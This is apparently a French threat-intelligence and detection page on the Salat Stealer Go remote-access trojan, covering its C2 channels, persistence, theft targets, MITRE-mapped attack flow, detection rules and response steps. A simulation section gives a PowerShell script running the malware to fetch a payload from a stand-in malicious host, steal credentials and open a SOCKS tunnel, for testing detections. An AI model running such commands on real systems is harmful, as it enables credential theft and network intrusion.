Analyse de Salat Stealer : Résilience de C2 basé sur Go et Capacités de Vol d’Informations
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Salat Stealer est un cheval de Troie d’accès à distance basé sur Go qui fonctionne comme un cadre d’exploitation postérieure complet. Il prend en charge plusieurs canaux de communication, y compris WebSocket, HTTP/2, HTTP/3 et QUIC, offrant aux opérateurs des options de commande et de contrôle flexibles et résilientes. Le malware inclut également de vastes capacités de vol d’informations d’identification, ciblant les données de navigation, les portefeuilles de crypto-monnaies, les frappes au clavier, les captures d’écran et le pivotement réseau via SOCKS5. Pour survivre aux redémarrages, il utilise des copies de fichiers cachées, des tâches planifiées et une clé de registre Run. Si son infrastructure principale est perturbée, le malware peut récupérer des détails de commande et de contrôle mis à jour via la blockchain TON.
Enquête
L’analyse explique comment le malware dérive les clés de chiffrement à partir de chaînes statiques combinées avec le nom d’hôte de la victime, puis les utilise pour déchiffrer cinq URL intégrées de commande et de contrôle. Les chercheurs ont également documenté comment Salat Stealer sélectionne son protocole de transport, traite les commandes de l’opérateur, tente d’augmenter ses privilèges et déploie plusieurs méthodes de persistance sur l’hôte. Le rapport décrit également la gamme de données volées et les fonctions d’accès à distance plus larges disponibles pour l’attaquant.
Atténuation
Les défenseurs doivent surveiller les connexions aux URL de commande et de contrôle identifiées, ainsi que le trafic QUIC et WebSocket inattendu vers des destinations inconnues. Les équipes de sécurité doivent également surveiller les tâches planifiées cachées et les entrées de clé de Run suspectes pointant vers des exécutables inconnus. La liste blanche d’application et les contrôles stricts d’exécution peuvent aider à empêcher le chargement de la charge utile basée sur Go. La segmentation réseau et l’inspection TLS peuvent encore améliorer la visibilité sur le trafic sortant suspect associé au malware.
Réponse
Si une activité de Salat Stealer est détectée, isolez immédiatement le système affecté, collectez des images de mémoire et de disque et terminez les processus malveillants. Retirez tous les artefacts de persistance, y compris les tâches planifiées, les entrées de clé de Run et les copies de fichiers cachées utilisées par le malware. Les domaines de commande et de contrôle identifiés doivent être bloqués, ainsi que toute consultation blockchain TON utilisée pour la découverte d’infrastructure de secours. Les informations d’identification exposées et les portefeuilles de crypto-monnaies doivent également être modifiés ou sécurisés sans délai.
"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccffcc %% Malware definition malware_salatr["<b>Malware</b> – <b>Name</b>: Salat Stealer (Go RAT)<br/><b>Description</b>: Cheval de Troie d’accès à distance basé sur Go utilisé pour le vol, la persistance et le mouvement latéral."] class malware_salatr malware %% Initial execution process process_start["<b>Processus</b> – <b>Nom</b>: SalatStealer.exe<br/><b>Action</b>: Démarre, récupère son propre chemin, vérifie l’existence d’une instance existante, peut contourner UAC.<br/><b>Technique</b>: T1548.002 Contournement du contrôle de compte utilisateur<br/><b>Technique</b>: T1027.008 Fichiers Obfusqués / Stockés"] class process_start process malware_salatr –>|exécute| process_start %% Persistence mechanisms persistence_task["<b>Action</b> – <b>T1053.005 Tâche Planifiée</b>: Crée une tâche planifiée cachée avec un nom maquillé (explorer.exe)."] class persistence_task action persistence_reg["<b>Action</b> – <b>T1547.001 Clés de Run du Registre/Répertoire de Démarrage</b>: Entrée HKCURun utilisant un nom déguisé (svchost.exe)."] class persistence_reg action process_start –>|crée| persistence_task process_start –>|crée| persistence_reg %% Defense evasion defense_evasion["<b>Action</b> – <b>T1027 Fichiers Obfusqués</b>: Obfuscation de chaîne de mode Six et dérivation de clé par machine-pair."] class defense_evasion action process_start –>|applique| defense_evasion %% System discovery discovery["<b>Action</b> – <b>T1082 Découverte d’Informations Système</b>: Rassemble OS, CPU, GPU, RAM, titre de la fenêtre active, statut admin et construit un identifiant d’agent."] class discovery action process_start –>|effectue| discovery %% Credential access credential_access["<b>Action</b> – <b>T1555.003 Informations d’identification à partir de Navigateurs Web</b>: Extrait les navigateurs Chromium, Firefox, Discord, Steam et les mots de passe encryptés par DPAPI.<br/><b>Techniques additionnelles</b>: T1056.001 Enregistrement des frappes, T1115 Données du presse-papiers."] class credential_access action process_start –>|effectue| credential_access %% Collection of data collection["<b>Action</b> – <b>T1113 Capture d’Écran</b>, <b>T1125 Capture Vidéo</b>, <b>T1560.001 Archive via Utilitaire</b>: Capture l’écran, la vidéo de la webcam et archive les données dans des fichiers ZIP."] class collection action credential_access –>|collecte| collection %% Command and control c2["<b>Action</b> – <b>T1071.005 WebSocket</b> et <b>T1071.001 Protocole Web</b>: Communique sur QUIC/WebSocket avec des URL chiffrées; se replie sur des points de terminaison alternatifs et sur la blockchain TON.<br/><b>Technique</b>: T1008 Canaux de Repli"] class c2 action collection –>|exfiltre via| c2 %% Exfiltration exfiltration["<b>Action</b> – <b>T1041 Exfiltration via Canal C2</b>, <b>T1048 Exfiltration via Protocole Alternatif</b>, <b>T1020 Exfiltration Automatisée</b>: Envoie les données archivées et les informations d’identification volées."] class exfiltration action c2 –>|envoie les données| exfiltration %% Execution of remote commands command_exec["<b>Action</b> – <b>T1059.003 Shell de Commandes Windows</b>: Reçoit et exécute des instructions en ligne de commande de l’attaquant.<br/><b>Technique</b>: T1090.001 Proxy SOCKS5 pour le tunneling."] class command_exec action exfiltration –>|reçoit des commandes| command_exec %% Lateral movement via proxy lateral["<b>Action</b> – <b>T1090.001 Proxy (SOCKS5)</b>: Établit un tunnel SOCKS5 interne pour le pivotement et le mouvement latéral."] class lateral action command_exec –>|établit| lateral "
Flux d’attaque
Détections
Commande et contrôle suspect via des requêtes DNS avec des extensions de domaine de haut niveau inhabituelles (TLD) (via dns)
Voir
Points de Persistence Possibles [ASEPs – Branche Logicielle/NTUSER] (via événement du registre)
Voir
Exécution des processus système à partir de chemins atypiques (via creation_process)
Voir
IOCs (HashSha256) pour détecter : Analyse Salat Stealer Go RAT – Résilience C2 et capacités de vol d’informations
Voir
IOCs (HashSha1) pour détecter : Analyse Salat Stealer Go RAT – Résilience C2 et capacités de vol d’informations
Voir
IOCs (HashMd5) pour détecter : Analyse Salat Stealer Go RAT – Résilience C2 et capacités de vol d’informations
Voir
Détection des activités Salat Stealer RAT [Windows Sysmon]
Voir
Détection des schémas de communication C2 Salat Stealer [Connexion réseau Windows]
Voir
Exécution et détection des modes Salat Stealer [Création de processus Windows]
Voir
Exécution de simulation
Prérequis : La vérification préalable de la télémétrie et de la référence de base doit avoir réussi.
Justification : Cette section détaille l’exécution précise de la technique d’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.
-
Récit d’attaque & Commandes :
Un attaquant a livré le binaire Salat RAT (salat.exe) à l’hôte victime via une pièce jointe de phishing. Après avoir obtenu un point d’appui à faible privilège, l’attaquant exécute le binaire avec des arguments spécifiques pour :- Télécharger une charge utile secondaire –
main.downloadFile https://malicious.example.com/payload.exe. - Voler des informations d’identification stockées –
main.Steal -module credentials. - Établir un tunnel SOCKS pair-à-pair pour le mouvement latéral –
main.p2pSocks -listen 1080 -remote 10.0.0.5:4444.
Le binaire est lancé à partir d’une session PowerShell élevée pour satisfaire à l’exigence d’élévation (T1548). Chaque invocation apparaît comme une création de processus Sysmon distincte avec la ligne de commande correspondante, satisfaisant la correspondance de chaîne de la règle Sigma.
- Télécharger une charge utile secondaire –
-
Scénario de test de régression :
# ------------------------------------------------- # Scénario de simulation Salat RAT – déclenche la détection # ------------------------------------------------- $binaryPath = "C:Tempsalat.exe" # S'assurer que le binaire existe (espace réservé – dans un test réel le binaire serait pré-installé) if (-Not (Test-Path $binaryPath)) { Write-Error "Binaire Salat introuvable à $binaryPath" exit 1 } # 1. Télécharger la charge utile secondaire Start-Process -FilePath $binaryPath -ArgumentList "main.downloadFile https://malicious.example.com/payload.exe" -Wait # 2. Voler des informations d'identification Start-Process -FilePath $binaryPath -ArgumentList "main.Steal -module credentials" -Wait # 3. Ouvrir le tunnel P2P SOCKS Start-Process -FilePath $binaryPath -ArgumentList "main.p2pSocks -listen 1080 -remote 10.0.0.5:4444" -Wait Write-Host "Simulation terminée." -
Commandes de nettoyage :
# ------------------------------------------------- # Nettoyage pour la simulation Salat RAT # ------------------------------------------------- # Terminer les processus Salat résiduels Get-Process -Name "salat" -ErrorAction SilentlyContinue | Stop-Process -Force # Enlever le binaire (si autorisé) $binaryPath = "C:Tempsalat.exe" if (Test-Path $binaryPath) { Remove-Item $binaryPath -Force Write-Host "Supprimé $binaryPath" } # Optionnellement, supprimer les événements Sysmon associés de l'index de test (exemple Splunk) # splunk cmd search '| delete index=main host="test-host" sourcetype="Sysmon" earliest=-24h latest=now'